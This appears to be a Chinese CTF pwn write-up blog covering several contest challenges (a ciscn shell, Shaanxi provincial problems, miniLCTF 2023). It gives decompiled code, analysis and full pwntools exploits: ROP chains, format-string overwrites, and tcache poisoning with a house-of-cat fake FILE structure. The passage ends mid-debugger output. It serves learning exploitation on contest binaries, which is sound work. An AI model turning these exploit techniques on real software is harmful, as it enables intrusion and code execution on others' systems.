.text:00000000004C1CB5 48 89 54 24 58                mov     qword ptr [rsp+78h+var_28+8], rdx
.text:00000000004C1CBA 48 8B 1D 67 0F 0E 00          mov     rbx, cs:qword_5A2C28
.text:00000000004C1CC1 48 8D 05 90 7C 04 00          lea     rax, off_509958
.text:00000000004C1CC8 48 8D 4C 24 50                lea     rcx, [rsp+78h+var_28]
.text:00000000004C1CCD BF 01 00 00 00                mov     edi, 1
.text:00000000004C1CD2 48 89 FE                      mov     rsi, rdi
.text:00000000004C1CD5 E8 06 95 FD FF                call    print_str
cd命令直接调用了库函数，ls命令会以ls -la执行，使用cat命令会提示Permission denial，而cat flag时会给你一个假的flag，echo命令call了一个函数去执行，这里看一下这个函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
v10 = "unk_func0b04:";
while ( v8 < v7 )
{
  v17 = v8;
  v22 = v6;
  v3 = (__int64)v6[1];
  v2 = *v6;
  v11 = runtime_concatstring2();
  if ( v3 > 0x200 )
    return 0LL;
  v6 = v22 + 2;
  v7 = v18;
  v9 = (__int64)v10;
  v10 = (const char *)v11;
  v8 = v17 + 1;
}
v16 = v9;
v23 = runtime_stringtoslicebyte();
v24 = (unsigned __int64)v10;
v25 = v13;
for ( i = 0LL; (__int64)i < v16; ++i )
{
  if ( i >= v24 )
    sub_462420((__int64)v2, v3, v24);
  v15 = *(unsigned __int8 *)(v23 + i);
  if ( (_BYTE)v15 != '+' )
  {
    if ( i >= 0x400 )
      sub_462420((__int64)v2, v3, v15);
    *((_BYTE *)&v19 + i) = v15;//拷贝到栈
  }
}
sub_4C1620();
硬看这个函数的话，有点丑，可以直接输入进行调试，这里会将后面用空格隔开的参数连接起来（每个参数的长度不超过0x200），并拷贝到栈中，其中会跳过+符号，因此可以直接覆盖栈返回地址进行ROP. 打本地可以直接读入/bin/sh，然后getshell。但是远程只能orw得到flag
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'

#io = remote('node4.anna.nssctf.cn',28634)
io = process('./shell')
elf = ELF('./shell')

def DEBUG():
    attach(io, 'b *0x4c1887')
    pause()

#DEBUG()

pop_rdi = 0x444fec
pop_rsi = 0x41e818
pop_rdx = 0x49e11d
pop_rax = 0x40d9e6
syscall = 0x40328c
flag = 0x4c3a6d
bss = 0x5d0000

io.recvuntil(b'ciscnshell$ ')
io.sendline(b'cert nAcDsMicN S33UAga1n@#!')

io.recvuntil(b'nightingale# ')
payload = p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)\
         +p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x50) + p64(pop_rax) + p64(0) + p64(syscall)\
         +p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x50) + p64(pop_rax) + p64(1) + p64(syscall)
io.sendline(b'echo '+b'A'*0x100+b' '+b'B'*0xf0+b'+'*0x10+b' '+b'+'*0x10+b'C'*0x13+payload)

io.interactive()



陕西省省赛 wp & 复现
2024-03-16T11:45:00.000Z
陕西游玩
一道签到题吧，选项1栈溢出，partial overwrite到后⻔位置，爆破即可getshell
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'

io = remote('60.204.130.55',10001)
#io = process('./vuln')

io.recvuntil(b'Your choice :')
io.send(b'1')
io.recvuntil(b'Welcome to Huashan_Mountain\n')
io.send(b'A'*0x28+b'\x9a\x12')

io.interactive()
easy_printf
checksec看到保护全开，IDA打开
看到需要先通过比较，然后才能进入12次格式化字符串漏洞，比较直接解码base64就行，输入TokameinE_is_the_best_pwner\x00即可
然后就是格式化字符串了，可以先把栈地址，pie基址，libc基址同时泄露出来。栈中肯定是栈地址最多了，而且因为用了for循环，所以栈帧不会一直变换，因此就直接在栈里面找一个可以被修改的栈地址，然后指向返回地址，再修改返回地址对应字节为one_gadget，1/16爆破一下就行了
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'

io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc.so.6')

def rec():
    io.recvuntil(b'What do you want to say?')

#attach(io, 'b fmtstr')
#pause()

io.recvuntil(b'Do you know who the best pwner is?\n')
io.send(b'TokameinE_is_the_best_pwner\x00')

rec()
io.send(b'%8$p.%9$p.%18$p')

io.recvuntil(b'0x')
stack = int(io.recv(12), 16)
log.success('stack ===> '+hex(stack))
io.recvuntil(b'0x')
pie = int(io.recv(12), 16)-0x12f7
log.success('pie ===> '+hex(pie))
io.recvuntil(b'0x')
libcbase = int(io.recv(12), 16)-0x5f1168
log.success('libcbase ===> '+hex(libcbase))

one_gadget = [0x45226, 0x4527a, 0xf034a, 0xf1247]

#0x58: one_gadget[:2]
#0x5a: one_gadget[2:4]
#0x5c: one_gadget[4:6]
backdoor = libcbase + one_gadget[0]

rec()
io.send(b'%88c%8$hhn')
rec()
io.send(b'%'+str(backdoor&0xffff).encode()+b'c'+b'%10$hn')

rec()
io.send(b'%90c%8$hhn')
rec()
io.send(b'%'+str((backdoor>>16)&0xffff).encode()+b'c'+b'%10$hn')

rec()
io.send(b'%92c%8$hhn')
rec()
io.send(b'%'+str(backdoor>>32).encode()+b'c'+b'%10$hn')

for i in range(6):
    rec()
    io.send(b'A'*0x20)


io.interactive()
babycvm
这道题是一道vm，输入相应的机器码，程序会进行翻译并执行。关键在于逆向，可我一看到要逆就头大。。。
这里是看着Wings的wp复现的
首先将输入指令设为 123456789abcdef0，然后分析代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 *__fastcall fetch_and_decode(__int64 a1, __int64 *a2)
{
  __int64 *result; // rax
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = *(_QWORD *)(a1 + 8 * (*(unsigned int *)(a1 + 4) + 6LL));
  a2[3] = (unsigned __int16)v3 >> 12;
  *a2 = (v3 >> 8) & 0xF;
  a2[1] = (unsigned __int8)v3 >> 4;
  a2[2] = (unsigned __int8)v3;
  result = a2;
  a2[4] = a2[2] + ((v3 >> 8) & 0xFFFFFFFFFFFF00LL);
  return result;
}
则a2[0] = e, a2[1] = f, a2[2] = f0, a2[3] = d, a2[4] = 123456789abcf0
到这里分析完了指令的解码，然后看译码部分
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
int __fastcall evaluate(_DWORD *a1, _QWORD *a2)
{
  __int64 v2; // rax
  int v3; // eax
  __int64 v4; // rdx
  __int64 v5; // rdx

  ++a1[1];
  v2 = a2[3];
  switch ( v2 )
  {
    case 0LL:
      LODWORD(v2) = puts("noop");
      break;
    case 1LL:
      printf("loadi r%lld <- %lld\n", *a2, a2[4]);
      LODWORD(v2) = (_DWORD)a1;
      *(_QWORD *)&a1[2 * *a2 + 4] = a2[4];
      break;
    case 2LL:
      printf("add r%lld <- r%lld + r%lld\n", *a2, a2[1], a2[2]);
      LODWORD(v2) = (_DWORD)a1;
      *(_QWORD *)&a1[2 * *a2 + 4] = *(_QWORD *)&a1[2 * a2[1] + 4] + *(_QWORD *)&a1[2 * a2[2] + 4];
      break;
    case 3LL:
      printf("shiftl r%lld <- r%lld >> %lld\n", *a2, a2[1], a2[2]);
      LODWORD(v2) = (_DWORD)a1;
      *(_QWORD *)&a1[2 * *a2 + 4] = *(_QWORD *)&a1[2 * a2[1] + 4] >> a2[2];
      break;
    case 4LL:
      printf("load r%lld <- @0x%02llx\n", *a2, a2[4]);
      LODWORD(v2) = (_DWORD)a1;
      *(_QWORD *)&a1[2 * *a2 + 4] = *(_QWORD *)&a1[2 * a2[4] + 12];
      break;
    case 5LL:
      printf("store @0x%02llx <- r%lld\n", a2[4], *a2);
      LODWORD(v2) = (_DWORD)a1;
      *(_QWORD *)&a1[2 * a2[4] + 12] = *(_QWORD *)&a1[2 * *a2 + 4];
      break;
    case 6LL:
      printf("syscall %lld\n", a2[4]);
      v2 = a2[4];
      if ( !v2 )
      {
        v3 = a1[2];
        a1[2] = v3 - 1;
        LODWORD(v2) = puts((const char *)&a1[2 * *(_QWORD *)&a1[2 * (100 - v3) + 12] + 12]);
      }
      break;
    case 7LL:
      printf("shiftr r%lld <- r%lld << %lld\n", *a2, a2[1], a2[2]);
      LODWORD(v2) = (_DWORD)a1;
      *(_QWORD *)&a1[2 * *a2 + 4] = *(_QWORD *)&a1[2 * a2[1] + 4] << a2[2];
      break;
    case 8LL:
      puts("halt");
      LODWORD(v2) = (_DWORD)a1;
      *a1 = 0;
      break;
    case 9LL:
      printf("push r%lld\n", *a2);
      v4 = *a2;
      ++a1[2];
      LODWORD(v2) = (_DWORD)a1;
      *(_QWORD *)&a1[2 * (100 - a1[2]) + 12] = *(_QWORD *)&a1[2 * v4 + 4];
      break;
    case 10LL:
      printf("pop r%lld\n", *a2);
      LODWORD(v2) = a1[2];
      a1[2] = v2 - 1;
      v5 = *(_QWORD *)&a1[2 * (unsigned int)(100 - v2) + 12];
      LODWORD(v2) = (_DWORD)a1;
      *(_QWORD *)&a1[2 * *a2 + 4] = v5;
      break;
    case 11LL:
      printf("jump @%lld\n", a2[4]);
      LODWORD(v2) = (_DWORD)a1;
      a1[1] = a2[4];
      break;
    default:
      return v2;
  }
  return v2;
}
分析函数可以发现，函数中的case由a2[3]即d决定，接下来以d分类分析
d = 0,        noop
d = 1,        a1[2 * a2[0] + 4] = a2[4]
d = 2,        a1[2 * a2[0] + 4] = a1[2 * a2[1] + 4] + a1[2 * a2[2] + 4]
d = 3,        a1[2 * a2[0] + 4] = a1[2 * a2[1] + 4] >> a2[2]
d = 4,        a1[2 * a2[0] + 4] = a1[2 * a2[4] + 12]
d = 5,        a1[2 * a2[4] + 12] = a1[2 * a2[0] + 4]
d = 6,        puts( a1[2 * a1[2 * (100 - a1[2]) + 12] + 12] )
d = 7,        a1[2 * a2[0] + 4] = a1[2 * a2[1] + 4] << a2[2]
d = 8,        *a1 = 0
d = 9,        a1[2] += 1,       a1[2 * (100 - a1[2]) + 12] = a1[2 * a2[0] + 4]
d = 10,      a1[2] -= 1,        a1[2 * a2[0] + 4] = a1[2 * (100 - a1[2]) + 12]
d = 11,      a1[1] = a2[4]
我们注意到，d = 1 时由于a2[0]的值有限制，因此不能有很大能力修改栈内存，但是如果和d = 5配合起来就可以实现对栈的修改即a1[2*a2[4]+12] = a1[2*a2[0]+4] = a2[4]。然后来看run函数，该函数中的s就是上面分析的a1，如果能精确控制某些值，那么我们就能覆盖返回地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall run(const void *a1, size_t a2)
{
  __int64 v3[6]; // [rsp+10h] [rbp-390h] BYREF
  _QWORD s[6]; // [rsp+40h] [rbp-360h] BYREF
  __int64 v5; // [rsp+70h] [rbp-330h] BYREF
  unsigned __int64 v6; // [rsp+398h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(s, 0, 0x350uLL);
  memcpy(&v5, a1, a2);
  LODWORD(s[0]) = 1;
  puts("==========================");
  while ( LODWORD(s[0]) )
  {
    fetch_and_decode((__int64)s, v3);
    evaluate(s, v3);
  }
  show(s);
  return __readfsqword(0x28u) ^ v6;
}
只需要进行简单的动态调试就可以发现只需要用d = 1和d = 5两种就可以构造ROP。并且在输入name部分可以直接泄露libc地址，而不需要使用指令中的puts来泄露（当然使用了也可以
exp为：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3
from pwn import*
context(arch='x86_64', log_level = 'debug')

io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc-2.31.so')

#attach(io)
#pause()

io.recvuntil(b'welcome, tell me your name: ')
name = b'A'*0x20
io.send(name)

io.recvuntil(b'A'*0x20)
libcbase = u64(io.recv(6).ljust(8, b'\x00'))-0x1f12e8
log.success('libcbase ===> '+hex(libcbase))

sys = libcbase + 0x52290
bin_sh = libcbase + 0x1b45bd
pop_rdi = libcbase + 0x23b6a
ret = pop_rdi + 1

codes = [
((sys>>8)<<16)+0x1000+(sys&0xff),
((bin_sh>>8)<<16)+0x1100+(bin_sh&0xff),
((pop_rdi>>8)<<16)+0x1200+(pop_rdi&0xff),
((ret>>8)<<16)+0x1300+(ret&0xff),

0x5367,
0x5268,
0x5169,
0x506a
]

'''
loadi r0 <- sys
loadi r1 <- bin_sh
loadi r2 <- pop_rdi
loadi r3 <- ret
store @0x67 <- r3
store @0x68 <- r2
store @0x69 <- r1
store @0x6a <- r0
'''

codes += [0x8000] * (100 - len(codes))
length = len(codes)

io.recvuntil(b'give me your code count: ')
io.sendline(str(length+1).encode())

for i in range(length):
    io.recvuntil(b'give me code: ')
    io.sendline(str(codes[i]).encode())
io.sendline(str(0x8000).encode())

io.interactive()
Information_System
这道题风水用的时间比较长，导致赛后半小时才出
checksec看到保护全开，然后IDA打开看到实际上是一个堆题，不过前面还加了个登录部分
程序⾸先需要login，先在name和passwd输⼊时填满前0x10个字节，后⾯再跟上root和t00r。然后需 要输⼊正确的verification code，这个在得到时会有⼀些随机数操作，可以直接通过c程序模拟，也可 以⽤ctypes。模拟的c程序为
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include
#include
#include
#include

int main()
{
unsigned int x = time(0);
//srand((100 * ((long long)((((long long)0xA3D70A3D70A3D70B * (unsigned long long)x) >> 64) + x) >> 6)) ^ 0xDEADBEEF);
srand((100 * ((__int64_t)((((__int64_t)0xA3D70A3D70A3D70B * (unsigned __int128)x) >> 64) + x) >> 6)) ^ 0xDEADBEEF);
int seed = rand();
srand(seed);
int v2 = rand();
int v3 = rand();
printf("test%u\n", (v2^v3)>>6);

return 0;
}
然后在程序的输入部分存在off-by-one漏洞
1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall sub_147A(__int64 a1, unsigned __int64 a2)
{
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; a2 >= (int)i; ++i )              // off-by-one
  {
    read(0, (void *)((int)i + a1), 1uLL);
    if ( *(_BYTE *)((int)i + a1) == 10 )
      return i;
  }
  return i;
}
程序只有add()  show()  delete()三个功能，libc版本为2.35，因此考虑堆风水+house of cat
程序在开始时会让你选择一个key，这个key决定了后面你可以申请多大的堆块，函数逻辑如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int sub_16BE()
{
  printf("Input your key: ");
  key = input("Input your key: ");
  if ( key )
  {
    if ( (unsigned int)key > 0x10 )
      key = 16;
  }
  else
  {
    key = 1;
  }
  return printf("Your key is %u.", (unsigned int)key);
}
在add函数中（最多可以申请12个堆块），有如下逻辑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
my_write("******************************");
my_write("* 1. Add brief information;  *");
my_write("* 2. Add details;            *");
my_write("* 3. Add all information.    *");
my_write("******************************");
printf("Your choice: ");
v3 = input();
if ( v3 == 3 )
{
  size = (unsigned int)(key << 6);
  chunk = malloc(size);
}
else
{
  if ( v3 > 3 )
    return my_write("Exception Input!");
  if ( v3 == 1 )
  {
    size = (unsigned int)(16 * key + 8);
    chunk = malloc(size);
  }
  else
  {
    if ( v3 != 2 )
      return my_write("Exception Input!");
    size = (unsigned int)(16 * (key + 5));
    chunk = malloc(size);
  }
}
因此在选择key>0x10时，可add的大小有1:0x108    2:0x150    3:0x400，在key<=0x10时，可add的大小有1:0x18   2:0x60   3:0x40，由于是off-by-one漏洞，考虑key>0x10
然后就是堆风水泄露堆基址和libc基址，堆风水构造tcache poison打house of cat
这里详细来看一下如何对该题进行堆风水
以泄露堆基址为例，只需要3个堆块即可，首先申请0x108大小的chunk0, chunk1, chunk2，chunk2的对应位置填充上大小，来绕过之后的size检查，然后删除chunk0，再将chunk0重新add回来并通过off-by-one修改chunk1的size末字节为0x61，然后删除chunk2，删除chunk1，将chunk1拿回来的同时覆盖到要泄露的地址位置，然后直接show(1)就可以了
为了不破坏堆块结构，可以选择在泄露完成后恢复chunk2的chunk头结构，恢复方式也十分简单，直接删除chunk2再申请回chunk2编辑就可以了
后续泄露libc就仿照这个思路先填充6个0x108的tcache，然后后面可以申请4个chunk，设为chunk0，chunk1，chunk2，chunk3，先不管chunk3，然后把chunk0，chunk1，chunk2按照之前的思路弄一下，chunk3用来填充tcache成7个
tcache poison也是这个思路，就是修改fd后再复原下chunk头，然后再申请出来
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#!/usr/bin/env python3
from pwn import*
context.log_level='debug'

p = process('./test')
io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc.so.6')

def DEBUG():
    attach(io, 'b login')
    pause()

def key(num):
    io.recvuntil(b'Input your key: ')
    io.sendline(str(num).encode())

def menu(choice):
    io.sendlineafter(b'Your choice: ', str(choice).encode())

def add(index, choice, data):
    menu(1)
    io.sendlineafter(b'Enter the index: ', str(index).encode())
    io.sendlineafter(b'Your choice: ', str(choice).encode())
    io.sendafter(b'Enter the information: ', data)

def delete(index):
    menu(2)
    io.sendlineafter(b'Enter the index: ', str(index).encode())

def show(index):
    menu(3)
    io.sendlineafter(b'Enter the index: ', str(index).encode())

#######verify###################################
p.recvuntil(b'test')
verify = p.recvline()
################################################

#DEBUG()

io.recvuntil(b'Input your name: ')
io.sendline(b'A'*0x10+b'root\x00')
io.recvuntil(b'Input your password: ')
io.sendline(b'A'*0x10+b't00r\x00')
io.recvuntil(b'Enter the verification code: ')
io.send(verify)

key(17)

#add选项： 1:0x108    2:0x150    3:0x400

#泄露堆地址
add(0, 1, b'A'*0x10+b'/bin/sh\x00\n')       
add(1, 1, b'A\n')
add(2, 1, b'\x00'*0x40+p64(0)+p64(0xc1)+b'\n')

delete(0)
add(0, 1, b'A'*0x108+b'\x61')
delete(2)
delete(1)
add(1, 2, b'A'*0x10f+b'\n')
show(1)

io.recvuntil(b'A'*0x10f+b'\n')
heapbase = u64(io.recv(5).ljust(8, b'\x00'))<<12
log.success('heapbase ===> '+hex(heapbase))

#复原堆
delete(1)
add(1, 2, b'A'*0x100+p64(0)+p64(0x111)+p64(heapbase>>12)+b'\n')

#泄露libc
for i in range(2, 9):
    add(i, 1, b'\n')
add(9, 1, b'\x00'*0x40+p64(0)+p64(0xc1)+b'\n')
add(10, 1, b'\x00'*0x40+p64(0)+p64(0xc1)+b'\n')
for i in range(2, 10):
    delete(i)
add(8, 1, b'\n')
add(7, 1, b'A'*0x108+b'\x61')
delete(8)
add(8, 2, b'A'*0x10f+b'\n')
show(8)

io.recvuntil(b'A'*0x10f+b'\n')
libcbase = u64(io.recv(6).ljust(8, b'\x00'))-0x219ce0
log.success('libcbase ===> '+hex(libcbase))
_IO_list_all = libcbase+0x21a680
sys = libcbase + libc.symbols['system']
bin_sh = libcbase+next(libc.search(b'/bin/sh\x00'))

#tcache poison打到_IO_list_all进行house of cat
delete(8)
add(8, 2, b'A'*0x108+p64(0x111)+p64(libcbase+0x219ce0)*2+b'\n')
for i in range(2, 6):
    add(i, 1, b'\n')
add(11, 1, b'\n')
add(9, 1, b'\n')
delete(7)
delete(9)
delete(8)
add(8, 2, b'A'*0x108+p64(0x111)+p64((heapbase>>12)^_IO_list_all)+b'\n')

delete(8)
add(8, 1, b'\n')
add(7, 1, p64(heapbase+0xe50)+b'\n')        #_IO_list_all

rdi = b'/bin/sh\x00'
call_addr = sys
fake_io_addr=heapbase+0xe50 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE=rdi         #_flags=rdi
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx
fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(heapbase+0x1000)  # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(libcbase+libc.symbols['_IO_wfile_jumps']+0x30)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr

delete(1)
add(1, 3, fake_IO_FILE+b'\n')

menu(5)
#DEBUG()

io.interactive()



minilctf2023 pwn wp & 复现
2024-02-03T12:30:00.000Z
3calls
checksec看到保护全开，程序没有沙箱，也就没必要用描述中说的orw
IDA打开看到程序直接给出了libc地址，会读取3次，然后check读入的数据，最后依次调用读入的3个函数。check函数会检查libc中是否由地址所对应的函数，也就是不能随意调用某一句，只能调用封装好的整个函数。
1
2
3
4
5
6
7
libc = (__int64)(&printf - 49390);
printf("gift: %p\n", &printf - 49390);
for ( i = 0; i <= 2; ++i )
  read(0, &F[i], 8uLL);
puts("good job!");
for ( j = 0; j <= 2; ++j )
  F[j]();
这样一来，system函数必不可少。然后就是需要给其传参，显然不能直接传参。调试发现（调试时可以patch掉check函数，因为check函数会产生其他进程，让gdb无法attach到后续逻辑）程序执行F[0]时的rdi为
1
RDI  0x7ffff7faea70 (_IO_stdfile_1_lock) ◂— 0x0
这个区域是一个可读写的区域，因此可以调用gets函数读取/bin/sh字符串，但是在调用gets的时候出现了一些玄学的问题（我没调试清楚），我第一次需要用一个gets直接读取换行符，第二个gets读取/bin0sh字符串（因为字符0的位置在下一个函数执行时会自动减一，也是没调试清楚），然后第三次就直接system("/bin/sh")了
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
from pwn import*
context(arch = 'x86_64', log_level = 'debug')

#io = remote('localhost',34643)
io = process('./3calls_2')
libc = ELF('./libc.so.6')

io.recvuntil(b'0x')
libcbase = int(io.recv(12), 16)
log.success('libcbase ===> '+hex(libcbase))

#attach(io)
#pause()

io.send(p64(libcbase+libc.symbols['gets']))
sleep(0.1)
io.send(p64(libcbase+libc.symbols['gets']))
sleep(0.1)
io.send(p64(libcbase+libc.symbols['system']))
sleep(1)

io.recvuntil(b'good job!\n')
io.send(b'\n')
sleep(1)
io.sendline(b'/bin0sh')
sleep(1)

io.interactive()
broken_machine
Wings说这道题非预期了，预期解是在沙箱下硬搞，想想就害怕😰，这里写写我的非预期，非预期的地方是在进入沙箱之前就通过signal异常处理来退出，进入_dl_fini执行对应指针，然后execve("/bin/sh\x00", 0, 0)
checksec看到只没开PIE，IDA打开看到
1
2
3
4
5
6
7
8
puts("Hi there! I've made a shellcode machine. Could you please input you code to test my machine? Thank you!");
signal(11, handler);
fgets(buf, 1024, stdin);
v4 = 0;
for ( i = 0; i <= 1023; ++i )
  v4 += buf[i] == 110;
if ( v4 <= 1 )
  machine();
signal(11, handler);信号处理函数会在程序执行产生SIGSEGV信号即异常时会进入handler函数进行退出。后面的for循环会检查读入了几个n，最多只能读入一个n
然后看machine()函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 machine()
{
  char *s; // [rsp+8h] [rbp-8h]

  s = (char *)mmap((void *)0x1000, 0x1000uLL, 7, 34, -1, 0LL);
  puts("Prepare code...");
  sprintf(s, buf);
  sleep(1u);
  puts("Setup sandbox...");
  mprotect(s, 0x1000uLL, 5);
  sandbox();
  sleep(1u);
  puts("Finished!");
  return MEMORY[0x1000]();
}
mmap会分配一片可读可写可执行的区域，地址为0x1000，但是要注意的是在一般在linux系统中mmap可分配的最低地址为0x10000cat /proc/sys/vm/mmap_min_addr可以查看系统mmap可申请最低内存，一般为65536（参考文章：mmap x86小于0x10000的虚地址 | Richard’s Blog (richardustc.github.io)），因此s的地址实际上是0x10000，所以最后的shellcode跳转实际上是非法内存访问，会直接跳转到信号处理函数
sprintf这里是一个格式化字符串漏洞，后面沙箱会限制常用的一些系统调用，如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x14 0xc000003e  if (A != ARCH_X86_64) goto 0022
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x12 0x00 0x40000000  if (A >= 0x40000000) goto 0022
 0004: 0x15 0x11 0x00 0x0000003b  if (A == execve) goto 0022
 0005: 0x15 0x10 0x00 0x00000142  if (A == execveat) goto 0022
 0006: 0x15 0x0f 0x00 0x00000002  if (A == open) goto 0022
 0007: 0x15 0x0e 0x00 0x00000101  if (A == openat) goto 0022
 0008: 0x15 0x0d 0x00 0x00000000  if (A == read) goto 0022
 0009: 0x15 0x0c 0x00 0x00000013  if (A == readv) goto 0022
 0010: 0x15 0x0b 0x00 0x00000011  if (A == pread64) goto 0022
 0011: 0x15 0x0a 0x00 0x00000127  if (A == preadv) goto 0022
 0012: 0x15 0x09 0x00 0x00000039  if (A == fork) goto 0022
 0013: 0x15 0x08 0x00 0x0000003a  if (A == vfork) goto 0022
 0014: 0x15 0x07 0x00 0x00000029  if (A == socket) goto 0022
 0015: 0x15 0x06 0x00 0x0000002a  if (A == connect) goto 0022
 0016: 0x15 0x05 0x00 0x0000002b  if (A == accept) goto 0022
 0017: 0x15 0x04 0x00 0x0000009d  if (A == prctl) goto 0022
 0018: 0x15 0x03 0x00 0x00000065  if (A == ptrace) goto 0022
 0019: 0x15 0x02 0x00 0x00000009  if (A == mmap) goto 0022
 0020: 0x15 0x01 0x00 0x0000000a  if (A == mprotect) goto 0022
 0021: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0022: 0x06 0x00 0x00 0x00000000  return KILL
可以看到基本常用的getshell，orw的都被禁用了
然后可利用的漏洞就只有sprintf的格式化字符串了，而且还只能用一次%n，题目后面给出了hint栈里面怎么会有ld地址，这是什么，然后调试到栈部分，发现了两个ld地址
1
2
0x7ffeeaf26778 —▸ 0x7f6948f8f040 (_rtld_global) —▸ 0x7f6948f902e0 ◂— 0x0
0x7ffeeaf267e0 —▸ 0x7f6948f902e0 ◂— 0x0
一个是_rtld_global结构体的地址，一个是_rtld_global结构体的link_map地址，可以都用%n试试，然后就能发现改第二个的时候，程序在exit()的时候会跳转到一个奇怪的地址，比如我们修改它为0x10，调试时在执行sprintf后发出signal SIGSEGV后进入信号处理发现程序崩溃
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
0x0000000000000080 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────[ REGISTERS / show-flags off / show-compact-regsoff]──────────────────────
*RAX  0x403d90 (_DYNAMIC+8) ◂— 0x80
*RBX  0x7f2e26821040 (_rtld_global) —▸ 0x7f2e268222e0 ◂— 0x10
 RCX  0x1
*RDX  0x1
*RDI  0x7f2e26821a48 (_rtld_global+2568) ◂— 0x0
*RSI  0x403d90 (_DYNAMIC+8) ◂— 0x80
*R8   0x7ffdd880a720 —▸ 0x7f2e268222e0 ◂— 0x10
*R9   0x20
 R10  0x0
*R11  0x7ffdd880a650 —▸ 0x7f2e268222e0 ◂— 0x10
*R12  0x0
*R13  0x7f2e26821a48 (_rtld_global+2568) ◂— 0x0
*R14  0x7ffdd880a720 —▸ 0x7f2e268222e0 ◂— 0x10
*R15  0x7f2e268222e0 ◂— 0x10
*RBP  0x7ffdd880a7a0 ◂— 0x0
*RSP  0x7ffdd880a718 —▸ 0x7f2e267ed24e (_dl_fini+526) ◂— mov rax, qword ptr [rbp - 0x38]
*RIP  0x80
───────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────
Invalid address 0x80










──────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────
00:0000│ rsp    0x7ffdd880a718 —▸ 0x7f2e267ed24e (_dl_fini+526) ◂— mov rax, qword ptr [rbp - 0x38]
01:0008│ r8 r14 0x7ffdd880a720 —▸ 0x7f2e268222e0 ◂— 0x10
